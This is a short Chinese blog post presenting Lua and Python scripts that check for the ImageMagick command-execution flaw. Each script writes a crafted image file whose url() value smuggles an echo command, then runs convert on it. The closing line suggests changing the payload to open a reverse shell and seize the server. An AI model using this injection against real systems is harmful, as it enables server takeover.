ImageMagick远程命令执行工具检测工具

ImageMagick这个漏洞昨天晚上就出来了，今天才有时间研究一下，今天自己也测试了一下

效果图：

=======================

用lua写了一个检测脚本

 print ("Checking...")
 file=io.open("exp.jpg","w")
 --file:write("s")
 file:write("push graphic-context\r\nviewbox 0 0 640 480\r\n")
 file:write("fill 'url(https://example.com/image.jpg")
 file:write('"|echo "success!!!)')
 file:write("'\r\n")
 file:write("pop graphic-context")
 file:close()
 cmd=io.popen("convert exp.jpg test.png")
 result=cmd:read("*all")
 print(result)

python版本：

 import os

 file = open("./x","w")
 file.write("push graphic-context\r\n")
 file.write("viewbox 0 0 640 480\r\n")
 file.write("fill 'url(https://example.com/image.jpg\"|echo \"dangerous!)'\r\n")
 file.write("pop graphic-context\r\n")
 file.close()

 res = os.system("convert ./x ./y 2>/dev/null")
 if os.path.exists("x"):
     os.remove("x")
 if os.path.exists("y"):
     os.remove("y")

如果存在返回

当然playload自己改吧，可以直接反弹个shell回来，直接拿到服务器权限
